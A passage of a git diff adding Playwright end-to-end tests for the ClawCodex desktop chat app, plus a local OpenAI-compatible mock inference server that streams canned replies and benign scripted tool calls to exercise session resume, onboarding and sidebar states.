+    expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+    EXPECTED_TEXT,
+    { timeout: 30_000 },
+  )
+}
+
+async function openNewSession(page: Page): Promise<void> {
+  const button = page.locator('[data-slot="sidebar"] button').filter({ hasText: 'New session' }).first()
+  await button.waitFor({ state: 'visible', timeout: 10_000 })
+  await button.click()
+  await page.waitForFunction(
+    expected => !(document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+    EXPECTED_TEXT,
+    { timeout: 15_000 },
+  )
+}
+
+async function submitPrompt(page: Page, prompt: string): Promise<void> {
+  const composer = page.locator('[contenteditable="true"]').first()
+  await composer.waitFor({ state: 'visible', timeout: 15_000 })
+  await composer.click()
+  await composer.type(prompt, { delay: 2 })
+  await page.keyboard.press('Enter')
+  await page.waitForFunction(
+    expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+    prompt,
+    { timeout: 15_000 },
+  )
+}
+
+async function startPaintObserver(page: Page): Promise<void> {
+  await page.evaluate(() => {
+    const viewport = document.querySelector('[data-slot="aui_thread-viewport"]')
+    const state = { bursts: 0, timeline: [] as Array<{ mutations: number; time: number }> }
+    ;(window as Window & { __largeSessionPaints?: typeof state }).__largeSessionPaints = state
+    if (!viewport) return
+
+    let additions = 0
+    let flushTimer: ReturnType<typeof setTimeout> | undefined
+    new MutationObserver(records => {
+      additions += records.reduce(
+        (count, record) => count + (record.type === 'childList' && record.addedNodes.length > 0 ? 1 : 0),
+        0,
+      )
+      if (additions === 0) return
+      if (flushTimer) clearTimeout(flushTimer)
+      flushTimer = setTimeout(() => {
+        state.bursts += 1
+        state.timeline.push({ mutations: additions, time: Date.now() })
+        additions = 0
+      }, 30)
+    }).observe(viewport, { childList: true, subtree: true })
+  })
+}
+
+async function paintState(page: Page): Promise<PaintState> {
+  const state = await page.evaluate(() => (window as Window & { __largeSessionPaints?: PaintState }).__largeSessionPaints)
+  expect(state, 'paint observer should attach to the thread viewport').toBeDefined()
+  return state!
+}
+
+async function textNodeOccurrences(page: Page, expected: string): Promise<number> {
+  return page.evaluate(text => {
+    const viewport = document.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!viewport) return 0
+
+    const walker = document.createTreeWalker(viewport, NodeFilter.SHOW_TEXT)
+    let count = 0
+    while (walker.nextNode()) {
+      if (walker.currentNode.textContent?.includes(text)) {
+        count += 1
+      }
+    }
+    return count
+  }, expected)
+}
+
+async function reloadIntoColdRenderer(fixture: SeededFixture): Promise<void> {
+  await fixture.page.reload()
+  await waitForAppReady(fixture, 120_000)
+  await openNewSession(fixture.page)
+}
+
+async function assertUnchangedResume(page: Page, testInfo: TestInfo): Promise<void> {
+  await openSeededSession(page)
+  await page.waitForTimeout(1_000)
+  await page.screenshot({ path: testInfo.outputPath('unchanged-session-resume.png'), fullPage: false })
+
+  const paints = await paintState(page)
+  expect(await textNodeOccurrences(page, EXPECTED_TEXT), 'the resumed user message should appear once').toBe(1)
+  // A warm session first restores its retained view, then reconciles it with the
+  // authoritative transcript. That is bounded at two builds; a third paint was
+  // the old eager-prefetch + runtime-rebuild regression. A cold restore has one.
+  expect(paints.bursts, `unexpected transcript paint count: ${JSON.stringify(paints.timeline)}`).toBeLessThanOrEqual(2)
+}
+
+test.describe('large session resume', () => {
+  let fixture: SeededFixture | null = null
+
+  test.afterEach(async () => {
+    await fixture?.cleanup()
+    fixture = null
+  })
+
+  test('cold resume of an unchanged session has one user row and bounded transcript paints', async ({}, testInfo) => {
+    fixture = await setupSeededDesktop()
+    await waitForAppReady(fixture, 120_000)
+
+    await startPaintObserver(fixture.page)
+    await assertUnchangedResume(fixture.page, testInfo)
+  })
+
+  test('fast resume of an unchanged session has one user row and bounded transcript paints', async ({}, testInfo) => {
+    // Known RED: a rapid warm resume rebuilds the transcript three times
+    // (28 → 53 → 53 DOM additions) instead of the two-paint budget. Keep the
+    // regression visible without making unrelated desktop work fail CI.
+    test.fixme(true, 'Fast warm resume has an unresolved third transcript rebuild')
+
+    fixture = await setupSeededDesktop()
+    await waitForAppReady(fixture, 120_000)
+
+    await openSeededSession(fixture.page)
+    await openNewSession(fixture.page)
+    await startPaintObserver(fixture.page)
+    await assertUnchangedResume(fixture.page, testInfo)
+  })
+
+  for (const resumeKind of ['fast', 'cold'] as const) {
+    test(`${resumeKind} resume keeps background inference attached without duplicate messages`, async ({}, testInfo) => {
+      fixture = await setupSeededDesktop({ holdFirstStreamForPrompt: BACKGROUND_PROMPT })
+      await waitForAppReady(fixture, 120_000)
+
+      await openSeededSession(fixture.page)
+      // The transcript first paints only the newest turns (FIRST_PAINT_BUDGET)
+      // and backfills older turns in a rAF. Wait for the oldest seeded row to
+      // mount before taking the baseline so it reflects the full transcript —
+      // otherwise a clipped baseline makes the backfilled rows look like
+      // duplicates of the completed reply.
+      await fixture.page.waitForFunction(
+        expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+        OLDEST_SEEDED_TEXT,
+        { timeout: 30_000 },
+      )
+      const initialMockReplyCount = await textNodeOccurrences(fixture.page, MOCK_REPLY)
+      await submitPrompt(fixture.page, BACKGROUND_PROMPT)
+      await fixture.mock.waitForHeldStream()
+      await openNewSession(fixture.page)
+
+      if (resumeKind === 'cold') {
+        await reloadIntoColdRenderer(fixture)
+      }
+
+      await openSeededSession(fixture.page)
+      fixture.mock.releaseHeldStream()
+      await fixture.page.waitForFunction(
+        expected => (document.querySelector('[data-slot="aui_thread-viewport"]')?.textContent ?? '').includes(expected),
+        MOCK_REPLY,
+        { timeout: 60_000 },
+      )
+      await fixture.page.waitForTimeout(300)
+      await fixture.page.screenshot({ path: testInfo.outputPath(`${resumeKind}-background-inference-resume.png`), fullPage: false })
+
+      expect(await textNodeOccurrences(fixture.page, BACKGROUND_PROMPT), 'the running user prompt should appear once').toBe(1)
+      expect(
+        await textNodeOccurrences(fixture.page, MOCK_REPLY),
+        'the completed assistant reply should add exactly one transcript row',
+      ).toBe(initialMockReplyCount + 1)
+    })
+  }
+})
diff --git a/ui-desktop/e2e/launch-packaged-app.spec.ts b/ui-desktop/e2e/launch-packaged-app.spec.ts
new file mode 100644
index 000000000..b44631fcf
--- /dev/null
+++ b/ui-desktop/e2e/launch-packaged-app.spec.ts
@@ -0,0 +1,88 @@
+import { expect, test } from './test'
+
+import {
+  PACKAGED_BINARY_PATH,
+  type PackagedAppFixture,
+  packagedBinaryExists,
+  setupPackagedApp,
+} from './fixtures'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+/**
+ * E2E smoke tests for the packaged ClawCodex desktop app.
+ *
+ * Launches the real packaged Electron binary (produced by `npm run pack` →
+ * `electron-builder --dir`) with BOOT_FAKE=1 and full sandbox isolation
+ * (credential stripping, isolated CLAWCODEX_CONFIG_DIR + userData, unique app name).
+ *
+ * Skips if the packaged binary doesn't exist — run `npm run pack` first.
+ */
+
+let fixture: PackagedAppFixture | null = null
+
+test.beforeAll(async () => {
+  test.skip(
+    !packagedBinaryExists(),
+    `Built app binary not found: ${PACKAGED_BINARY_PATH}. Run 'npm run pack' first.`,
+  )
+
+  fixture = await setupPackagedApp()
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test('window opens with the ClawCodex title', async () => {
+  const title = await fixture!.page.title()
+  expect(title).toContain('ClawCodex')
+})
+
+test('renderer loads and shows DOM content', async () => {
+  const page = fixture!.page
+  await page.waitForSelector('#root', { state: 'attached', timeout: 30_000 })
+  const childCount = await page.locator('#root > *').count()
+  expect(childCount).toBeGreaterThan(0)
+})
+
+test('boot progress overlay fades out or shows error state', async () => {
+  const page = fixture!.page
+  await page.waitForFunction(
+    () => {
+      const root = document.getElementById('root')
+
+      if (!root) {
+        return false
+      }
+
+      const text = root.textContent ?? ''
+
+      // Error path: boot failure overlay renders an error message.
+      if (text.includes('error') || text.includes('Error') || text.includes('failed')) {
+        return true
+      }
+
+      // Success path: overlay disappears and the app renders. If there's
+      // no "boot" / "starting" / "installing" text visible, boot has
+      // completed (either to the main UI or to onboarding).
+      const bootIndicators = ['starting', 'resolving', 'spawning', 'waiting', 'installing']
+      const lower = text.toLowerCase()
+
+      return !bootIndicators.some((word) => lower.includes(word))
+    },
+    undefined,
+    { timeout: 60_000 },
+  )
+})
+
+test('can capture a screenshot for the CI artifact', async () => {
+  if (!fixture) {
+    test.skip(true, 'Previous test failed — no app running')
+
+    return
+  }
+
+  // Visual snapshot — won't fail on diff, just logs + generates diff image
+  await expectVisualSnapshot(fixture!.page, { name: 'packaged-app-booted', timeout: 10_000, app: fixture!.app })
+})
diff --git a/ui-desktop/e2e/mock-backend-setup.spec.ts b/ui-desktop/e2e/mock-backend-setup.spec.ts
new file mode 100644
index 000000000..d78b0a098
--- /dev/null
+++ b/ui-desktop/e2e/mock-backend-setup.spec.ts
@@ -0,0 +1,87 @@
+/**
+ * E2E tests asserting the mock backend gets the app past the setup/onboarding
+ * screen.
+ *
+ * The mock backend fixture writes a config.yaml with a pre-configured mock
+ * provider pointing at a mock inference server. When the app boots, the
+ * runtime readiness check should detect the working provider and dismiss the
+ * onboarding overlay — landing straight on the chat UI without ever showing
+ * the "Let's get you setup with ClawCodex" screen.
+ *
+ * If these tests fail, the mock backend config isn't getting the app past
+ * onboarding — the chat interaction tests (chat.spec.ts) will also fail
+ * because the composer is blocked by the setup overlay.
+ *
+ * Prerequisite: `npm run build` must have been run so dist/ exists.
+ */
+
+import { expect, test } from './test'
+
+import {
+  type MockBackendFixture,
+  setupMockBackend,
+  waitForAppReady,
+} from './fixtures'
+import { expectVisualSnapshot } from './visual-snapshot'
+
+let fixture: MockBackendFixture | null = null
+
+test.beforeAll(async () => {
+  fixture = await setupMockBackend()
+  await waitForAppReady(fixture!, 120_000)
+})
+
+test.afterAll(async () => {
+  await fixture?.cleanup()
+  fixture = null
+})
+
+test.describe('mock backend gets past setup screen', () => {
+  test('onboarding overlay is not shown', async () => {
+    const page = fixture!.page
+
+    // The onboarding overlay renders "Let's get you setup with ClawCodex"
+    // when the runtime check fails to find a working provider. With the mock
+    // backend configured, the runtime check should pass and the overlay
+    // returns null — this text should NOT be present in the DOM.
+    await page.waitForFunction(
+      () => {
+        const text = document.body.textContent ?? ''
+
+        return !text.includes("Let's get you setup")
+      },
+      undefined,
+      { timeout: 30_000 },
+    )
+  })
+
+  test('chat composer is visible', async () => {
+    const page = fixture!.page
+
+    // The composer (contenteditable div) should be visible and not blocked
+    // by the onboarding overlay. If the first test passed, the overlay is
+    // gone and the composer is the primary interactive surface.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await expect(composer).toBeVisible()
+  })
+
+  test('can type into the composer', async () => {
+    const page = fixture!.page
+
+    // If the setup overlay is truly gone, the composer accepts input.
+    const composer = page.locator('[contenteditable="true"]').first()
+    await composer.click()
+    await composer.type('hello mock backend', { delay: 20 })
+
+    // Verify the typed text appears in the DOM.
+    await page.waitForFunction(
+      () => (document.body.textContent ?? '').includes('hello mock backend'),
+      undefined,
+      { timeout: 10_000 },
+    )
+  })
+
+  test('screenshot shows chat UI without setup screen', async () => {
+    await expectVisualSnapshot(fixture!.page, { name: 'mock-backend-chat-ready', app: fixture!.app })
+  })
+})
diff --git a/ui-desktop/e2e/mock-server.ts b/ui-desktop/e2e/mock-server.ts
new file mode 100644
index 000000000..f0bc263e6
--- /dev/null
+++ b/ui-desktop/e2e/mock-server.ts
@@ -0,0 +1,869 @@
+/**
+ * Minimal OpenAI-compatible mock inference server for E2E tests.
+ *
+ * Implements just enough of the /v1/* surface for `clawcodex serve` to resolve a
+ * provider, list models, and stream a canned chat completion back to the
+ * desktop app — without any real LLM.
+ *
+ * Endpoints:
+ *   GET  /v1/models             → { data: [{ id, ... }] }
+ *   POST /v1/chat/completions   → streaming (SSE) or non-streaming response
+ *
+ * The canned response is a short, deterministic assistant message. Tool-call
+ * requests are not simulated — the E2E tests only need the chat surface to
+ * prove the full boot → gateway → inference → renderer chain works.
+ */
+
+import fs from 'node:fs'
+import http from 'node:http'
+import type { ServerResponse } from 'node:http'
+import os from 'node:os'
+import nodePath from 'node:path'
+
+/** A canned assistant reply used for every chat completion request. */
+export const MOCK_REPLY = 'Hello from the mock inference server! The full boot chain is working.'
+
+export interface MockServerOptions {
+  /** Pause the matching stream after its first token for session-switch E2E coverage. */
+  holdFirstStreamForPrompt?: string
+/** Pause the first completion whose request JSON contains this text. */
+holdFirstCompletionContaining?: string
+/** Absolute sandbox path written by the verify-on-stop scripted tool call. */
+verificationWritePath?: string
+/**
+ * Sentinel path that ends the E2E_SIDEBAR_CROSS background process.
+ *
+ * Without it that process is a bare `sleep 5`, which races the agent turn and
+ * the 4s auto-dismiss linger — see `createBackgroundReleaseHandle`. Pass a
+ * handle's `path` to let the test decide when the process exits.
+ */
+backgroundReleasePath?: string
+}
+
+export interface MockServer {
+  port: number
+  url: string
+  receivedPrompts: string[]
+  waitForHeldStream: () => Promise<void>
+  waitForHeldCompletion: () => Promise<void>
+  releaseHeldStream: () => void
+  heldCompletionCount: () => number
+  close: () => Promise<void>
+}
+
+// ─── Multi-turn interim script ─────────────────────────────────────────
+//
+// When the user's message contains the trigger keyword, the mock server
+// walks through a scripted sequence of responses that exercise the
+// interim-assistant-message fix (#65919) across several patterns:
+//
+//   1. text + single tool_call  → should produce an interim message
+//   2. text + single tool_call  → another interim message
+//   3. no text + tool_call       → NO interim (no visible text alongside tools)
+//   4. text + single tool_call  → another interim message
+//   5. final answer (stop)      → message.complete, different from all interims
+//
+// Each "turn" is one API call. The agent executes the tool after each
+// tool_calls response, then re-calls the API, advancing to the next turn.
+
+export interface ScriptedTurn {
+  /** Assistant text content to stream. Empty string = no visible text. */
+  text: string
+  /** Tool calls to emit. Empty array = final turn (finish_reason: stop). */
+  toolCalls?: Array<{
+    name: string
+    args: Record<string, unknown>
+  }>
+}
+
+const INTERIM_SCRIPT: ScriptedTurn[] = [
+  {
+    text: 'Let me start by planning the approach.',
+    toolCalls: [{ name: 'todo', args: { todos: [{ id: '1', content: 'Plan', status: 'in_progress' }] } }],
+  },
+  {
+    text: 'Now checking the details before answering.',
+    toolCalls: [{ name: 'todo', args: { todos: [{ id: '2', content: 'Check details', status: 'in_progress' }] } }],
+  },
+  {
+    // No visible text alongside this tool call — should NOT produce an
+    // interim message. The agent fires _emit_interim_assistant_message
+    // but _interim_assistant_visible_text returns "" so it's a no-op.
+    text: '',
+    toolCalls: [{ name: 'todo', args: { todos: [{ id: '3', content: 'Silent step', status: 'completed' }] } }],
+  },
+  {
+    text: 'Found something interesting worth noting.',
+    toolCalls: [{ name: 'todo', args: { todos: [{ id: '4', content: 'Note finding', status: 'completed' }] } }],
+  },
+  {
+    // Final answer — different from all interim texts.
+    text: 'All done! Here is the complete summary of what I found.',
+  },
+]
+
+/** Per-server request counter so we can walk through the script turns. */
+let _scriptIndex = 0
+
+/** Per-server counter for the sidebar-states script (independent from _scriptIndex). */
+let _sidebarScriptIndex = 0
+
+/** Per-server counter for the cross-session sidebar script. */
+let _sidebarCrossIndex = 0
+
+/** Per-server counter for the queue-stop script. */
+let _queueStopIndex = 0
+
+/** Per-server counter for the correction/session-switch script. */
+let _correctionSwitchIndex = 0
+
+/** Per-server counter for the verify-on-stop script. */
+let _verificationStopIndex = 0
+
+/** User messages received by the mock, for E2E assertions on real submits. */
+const _receivedUserTexts: string[] = []
+
+/** Reset the script indices (called between tests via restartMockServer). */
+function resetScriptIndex(): void {
+  _scriptIndex = 0
+  _sidebarScriptIndex = 0
+  _sidebarCrossIndex = 0
+  _queueStopIndex = 0
+  _correctionSwitchIndex = 0
+  _verificationStopIndex = 0
+  _receivedUserTexts.length = 0
+}
+
+/** Return the user prompts the real backend submitted to this mock server. */
+export function receivedUserTexts(): readonly string[] {
+  return _receivedUserTexts
+}
+
+// ─── Sidebar-states script ─────────────────────────────────────────────
+//
+// A separate trigger (E2E_SIDEBAR_TRIGGER) exercises the desktop sidebar's
+// background-process and subagent states. The mock returns tool_calls that
+// the agent executes for real — `terminal(background=true)` spawns a real
+// (but trivial) background process, and `delegate_task` spawns a real
+// subagent that calls the mock server and gets the canned reply.
+//
+// Turn 1: text + terminal(bg=true) + delegate_task → tools execute
+// Turn 2: final answer → message.complete, dot transitions
+
+const SIDEBAR_SCRIPT: ScriptedTurn[] = [
+  {
+    text: 'Let me run a background task and delegate some work.',
+    toolCalls: [
+      {
+        name: 'terminal',
+        args: {
+          command: 'echo "background process output" && sleep 1 && echo "done"',
+          background: true,
+          notify_on_complete: true,
+        },
+      },
+      {
+        name: 'delegate_task',
+        args: {
+          goal: 'Summarize the test results',
+          context: 'This is a test subagent for the sidebar states E2E test.',
+        },
+      },
+    ],
+  },
+  {
+    text: 'All tasks complete. The background process finished and the subagent returned its summary.',
+  },
+]
+
+// ─── Sidebar cross-session script ──────────────────────────────────────
+//
+// E2E_SIDEBAR_CROSS starts a long background process plus a subagent so the
+// tests can:
+//   1. See the background dot while the subagent runs.
+//   2. Open a different session and see session A's dot transition to
+//      "finished unread" when the background process completes.
+//
+// The background process must outlive the agent turn — the whole point is a
+// dot that is still "running" after the final answer lands. A fixed `sleep`
+// cannot guarantee that: on a loaded CI runner the turn (two model round
+// trips + a real subagent delegation) can take longer than the sleep, the
+// process exits early, the 4s success linger elapses, and the dot is gone
+// before the test looks. That is a wall-clock race between three independent
+// timers, and it made this the flakiest spec in the suite.
+//
+// When `backgroundReleasePath` is set the process instead blocks until the
+// test creates that sentinel file, so the test — not the clock — decides when
+// the dot clears. `sleep 5` remains the fallback for callers that don't pass
+// a handle.
+function sidebarCrossBgCommand(releasePath?: string): string {
+  if (!releasePath) {
+    return 'echo "long bg output" && sleep 5 && echo "finished"'
+  }
+  // Bounded wait (60s): if a test forgets to release (or crashes mid-way),
+  // the process still exits instead of hanging the worker until the suite
+  // times out.
+  const quoted = JSON.stringify(releasePath)
+  return [
+    'echo "long bg output"',
+    `for _ in $(seq 1 600); do [ -e ${quoted} ] && break; sleep 0.1; done`,
+    'echo "finished"',
+  ].join(' && ')
+}
+
+function sidebarCrossScript(releasePath?: string): ScriptedTurn[] {
+  return [
+    {
+      text: 'Starting a long background task and delegating work.',
+      toolCalls: [
+        {
+          name: 'terminal',
+          args: {
+            command: sidebarCrossBgCommand(releasePath),
+            background: true,
+            notify_on_complete: true,
+          },
+        },
+        {
+          name: 'delegate_task',
+          args: {
+            goal: 'Analyze cross-session state',
+            context: 'Testing that the background dot updates across sessions.',
+          },
+        },
+      ],
+    },
+    {
+      text: 'Both tasks are running in the background now.',
+    },
+  ]
+}
+
+const SIDEBAR_CROSS_SCRIPT: ScriptedTurn[] = sidebarCrossScript()
+
+const QUEUE_STOP_SCRIPT: ScriptedTurn[] = [
+  {
+    text: 'Starting a task that will keep this turn active.',
+    toolCalls: [{ name: 'clarify', args: { question: 'Keep working?', choices: ['Yes', 'No'] } }],
+  },
+  { text: 'The paused task completed.' },
+]
+
+// The reported correction arrived while a foreground tool was still running.
+// Keep that boundary open long enough for the renderer to redirect the turn,
+// then let the next model request complete normally.
+const CORRECTION_SWITCH_SCRIPT: ScriptedTurn[] = [
+  {
+    text: 'Checking the long-running task before I continue.',
+    toolCalls: [{ name: 'terminal', args: { command: 'sleep 5' } }],
+  },
+  { text: 'The corrected task finished.' },
+]
+
+export const CORRECTION_SWITCH_TRIGGER = 'E2E_CORRECTION_SWITCH_TRIGGER'
+
+/**
+ * Drives a real code edit followed by two finish attempts. ClawCodex should add
+ * its synthetic verify-on-stop continuation after each finish attempt until
+ * the bounded verifier gives up. The mock's request capture proves the nudge
+ * reached the model; desktop must never render it as chat content.
+ */
+function verificationStopScript(writePath: string): ScriptedTurn[] {
+  return [
+  {
+    text: 'I will make the requested code change.',
+    toolCalls: [{
+      name: 'write_file',
+      args: {
+        path: writePath,
+        content: 'def changed_by_e2e():\n    return "changed"\n',
+      },
+    }],
+  },
+  { text: 'The code edit is complete.' },
+  { text: 'I cannot provide fresh verification evidence for that edit.' },
+  ]
+}
+
+export const VERIFICATION_STOP_TRIGGER = 'E2E_VERIFY_ON_STOP_TRIGGER'
+export const VERIFICATION_STOP_TEXT = 'I cannot provide fresh verification evidence for that edit.'
+
+/**
+ * A marker that makes the mock emit a real blocking clarify tool call. Tests
+ * use it to hold a turn open while exercising busy-composer interactions.
+ */
+export const BLOCKING_CLARIFY_TRIGGER = 'E2E_BLOCKING_CLARIFY_TRIGGER'
+export const BLOCKING_CLARIFY_QUESTION = 'Keep this test turn running?'
+
+const BLOCKING_CLARIFY_TURN: ScriptedTurn = {
+  text: '',
+  toolCalls: [{ name: 'clarify', args: { question: BLOCKING_CLARIFY_QUESTION, choices: ['Yes', 'No'] } }],
+}
+
+function includesBlockingClarifyTrigger(value: unknown): boolean {
+  if (typeof value === 'string') {
+    return value.includes(BLOCKING_CLARIFY_TRIGGER)
+  }
+
+  if (Array.isArray(value)) {
+    return value.some(includesBlockingClarifyTrigger)
+  }
+
+  if (value && typeof value === 'object') {
+    return Object.values(value).some(includesBlockingClarifyTrigger)
+  }
+
+  return false
+}
+
+/**
+ * Start the mock server on an ephemeral port.
+ *
+ * @returns a handle with `port`, `url`, received user prompts, and `close()`.
+ */
+export function startMockServer(options: MockServerOptions = {}): Promise<MockServer> {
+  return new Promise((resolve, reject) => {
+    const receivedPrompts: string[] = []
+    let resolveHeldStreamStarted: (() => void) | null = null
+    let releaseHeldStream: (() => void) | null = null
+    let heldCompletionCount = 0
+    const heldStreamStarted = new Promise<void>(resolveHeld => {
+      resolveHeldStreamStarted = resolveHeld
+    })
+    const heldStreamReleased = new Promise<void>(resolveRelease => {
+      releaseHeldStream = resolveRelease
+    })
+    const server = http.createServer((req, res) => {
+      // CORS headers — the Electron renderer doesn't need them, but they
+      // don't hurt and make the server usable from a browser context too.
+      res.setHeader('Access-Control-Allow-Origin', '*')
+      res.setHeader('Access-Control-Allow-Headers', '*')
+      res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
+
+      if (req.method === 'OPTIONS') {
+        res.writeHead(204)
+        res.end()
+        return
+      }
+
+      // GET /v1/models — return a single fake model.
+      if (req.method === 'GET' && req.url === '/v1/models') {
+        res.writeHead(200, { 'Content-Type': 'application/json' })
+        res.end(
+          JSON.stringify({
+            object: 'list',
+            data: [
+              {
+                id: 'mock-model',
+                object: 'model',
+                created: 0,
+                owned_by: 'mock',
+              },
+            ],
+          }),
+        )
+        return
+      }
+
+      // POST /v1/chat/completions — return a canned response.
+      if (req.method === 'POST' && req.url?.startsWith('/v1/chat/completions')) {
+        let body = ''
+
+        req.on('data', (chunk: Buffer) => {
+          body += chunk.toString()
+        })
+
+        req.on('end', () => {
+          let parsed: any = {}
+
+          try {
+            parsed = JSON.parse(body)
+          } catch {
+            // malformed JSON — treat as non-streaming with defaults
+          }
+
+          const lastUserMessage = [...(parsed.messages ?? [])]
+            .reverse()
+            .find((message: { role?: unknown }) => message?.role === 'user')
+
+          if (typeof lastUserMessage?.content === 'string') {
+            receivedPrompts.push(lastUserMessage.content)
+          }
+
+          const stream = parsed.stream === true
+          const model = parsed.model || 'mock-model'
+          const holdThisCompletion = Boolean(
+            options.holdFirstCompletionContaining &&
+            heldCompletionCount === 0 &&
+            JSON.stringify(parsed).includes(options.holdFirstCompletionContaining),
+          )
+
+          // Detect the interim-message test trigger: the user's message
+          // contains a specific keyword. The mock walks through the
+          // INTERIM_SCRIPT turns in sequence.
+          //
+          // The trigger keyword is chosen so normal chat tests (which send
+          // "Hello, can you hear me?" etc.) never hit this path.
+          const messages: any[] = Array.isArray(parsed.messages) ? parsed.messages : []
+          const lastUserMsg = [...messages].reverse().find(m => m?.role === 'user')
+          const userText = typeof lastUserMsg?.content === 'string' ? lastUserMsg.content : ''
+          if (userText) {
+            _receivedUserTexts.push(userText)
+          }
+          const isInterimTrigger = userText.includes('E2E_INTERIM_TRIGGER')
+          const isSidebarTrigger = userText.includes('E2E_SIDEBAR_TRIGGER')
+          const isSidebarCrossTrigger = userText.includes('E2E_SIDEBAR_CROSS')
+          const isQueueStopTrigger = userText.includes('E2E_QUEUE_STOP_TRIGGER')
+          const isVerificationStopTrigger = messages.some(
+            message => typeof message?.content === 'string' && message.content.includes(VERIFICATION_STOP_TRIGGER),
+          )
+          const isCorrectionSwitchTrigger = messages.some(
+            message => typeof message?.content === 'string' && message.content.includes(CORRECTION_SWITCH_TRIGGER),
+          )
+
+          if (includesBlockingClarifyTrigger(parsed.messages)) {
+            if (stream) {
+              streamScriptedTurn(res, model, BLOCKING_CLARIFY_TURN)
+            } else {
+              nonStreamingScriptedTurn(res, model, BLOCKING_CLARIFY_TURN)
+            }
+            return
+          }
+
+          if (isQueueStopTrigger) {
+            const turn = QUEUE_STOP_SCRIPT[_queueStopIndex] ?? QUEUE_STOP_SCRIPT[QUEUE_STOP_SCRIPT.length - 1]
+            _queueStopIndex++
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (isVerificationStopTrigger) {
+            const script = verificationStopScript(options.verificationWritePath ?? 'e2e-verification-target.py')
+            const turn = script[_verificationStopIndex] ?? script[script.length - 1]
+            _verificationStopIndex++
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (isCorrectionSwitchTrigger) {
+            const turn = CORRECTION_SWITCH_SCRIPT[_correctionSwitchIndex] ?? CORRECTION_SWITCH_SCRIPT[CORRECTION_SWITCH_SCRIPT.length - 1]
+            _correctionSwitchIndex++
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (isSidebarCrossTrigger) {
+            const script = sidebarCrossScript(options.backgroundReleasePath)
+            const turn = script[_sidebarCrossIndex] ?? script[script.length - 1]
+            _sidebarCrossIndex++
+
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (isSidebarTrigger) {
+            const turn = SIDEBAR_SCRIPT[_sidebarScriptIndex] ?? SIDEBAR_SCRIPT[SIDEBAR_SCRIPT.length - 1]
+            _sidebarScriptIndex++
+
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (isInterimTrigger) {
+            const turn = INTERIM_SCRIPT[_scriptIndex] ?? INTERIM_SCRIPT[INTERIM_SCRIPT.length - 1]
+            _scriptIndex++
+            if (stream) {
+              streamScriptedTurn(res, model, turn)
+            } else {
+              nonStreamingScriptedTurn(res, model, turn)
+            }
+            return
+          }
+
+          if (stream) {
+            const holdThisStream = Boolean(
+              options.holdFirstStreamForPrompt && typeof lastUserMessage?.content === 'string' &&
+                lastUserMessage.content.includes(options.holdFirstStreamForPrompt),
+            )
+            streamTextResponse(res, model, MOCK_REPLY, holdThisStream || holdThisCompletion ? () => {
+              if (holdThisCompletion) {
+                heldCompletionCount++
+              }
+              resolveHeldStreamStarted?.()
+              return heldStreamReleased
+            } : undefined)
+          } else {
+            if (holdThisCompletion) {
+              heldCompletionCount++
+              resolveHeldStreamStarted?.()
+              void heldStreamReleased.then(() => nonStreamingTextResponse(res, model, MOCK_REPLY))
+            } else {
+              nonStreamingTextResponse(res, model, MOCK_REPLY)
+            }
+          }
+        })
+
+        req.on('error', () => {
+          res.writeHead(400)
+          res.end('Bad request')
+        })
+        return
+      }
+
+      // Fallback — 404 for anything else
+      res.writeHead(404, { 'Content-Type': 'application/json' })
+      res.end(JSON.stringify({ error: 'Not found' }))
+    })
+
+    server.on('error', reject)
+
+    server.listen(0, '127.0.0.1', () => {
+      const addr = server.address()
+      if (addr === null || typeof addr === 'string') {
+        reject(new Error('Failed to get server address'))
+        return
+      }
+
+      const port = addr.port
+      const url = `http://127.0.0.1:${port}`
+
+      resolve({
+        port,
+        url,
+        receivedPrompts,
+        waitForHeldStream: () => heldStreamStarted,
+        waitForHeldCompletion: () => heldStreamStarted,
+        releaseHeldStream: () => releaseHeldStream?.(),
+        heldCompletionCount: () => heldCompletionCount,
+        close: () =>
+          new Promise((resolveClose, rejectClose) => {
+            server.close((err) => {
+              if (err) {
+                rejectClose(err)
+              } else {
+                resolveClose()
+              }
+            })
+          }),
+      })
+    })
+  })
+}
+
+// ─── Response helpers ──────────────────────────────────────────────────
+
+/** SSE chunk shape for a streaming chat completion. */
+function sseChunk(model: string, delta: Record<string, unknown>, finishReason: string | null = null): string {
+  return `data: ${JSON.stringify({
+    id: 'mock-completion',
+    object: 'chat.completion.chunk',
+    created: 0,
+    model,
+    choices: [{ index: 0, delta, finish_reason: finishReason }],
+  })}\n\n`
+}
+
+/**
+ * Stream a plain text response (no tool calls) as SSE, finishing with
+ * `finish_reason: "stop"`. This is the default canned-reply path.
+ */
+function streamTextResponse(
+  res: ServerResponse,
+  model: string,
+  text: string,
+  waitForRelease?: () => Promise<void>,
+): void {
+  res.writeHead(200, {
+    'Content-Type': 'text/event-stream',
+    'Cache-Control': 'no-cache',
+    Connection: 'keep-alive',
+  })
+
+  const words = text.split(' ')
+  let i = 0
+
+  const sendChunk = (): void => {
+    if (i >= words.length) {
+      res.write(sseChunk(model, {}, 'stop'))
+      res.write('data: [DONE]\n\n')
+      res.end()
+      return
+    }
+
+    const word = i === 0 ? words[i] : ' ' + words[i]
+    res.write(sseChunk(model, { content: word }))
+    i++
+    if (waitForRelease && i === 1) {
+      waitForRelease().then(() => setTimeout(sendChunk, 20))
+      return
+    }
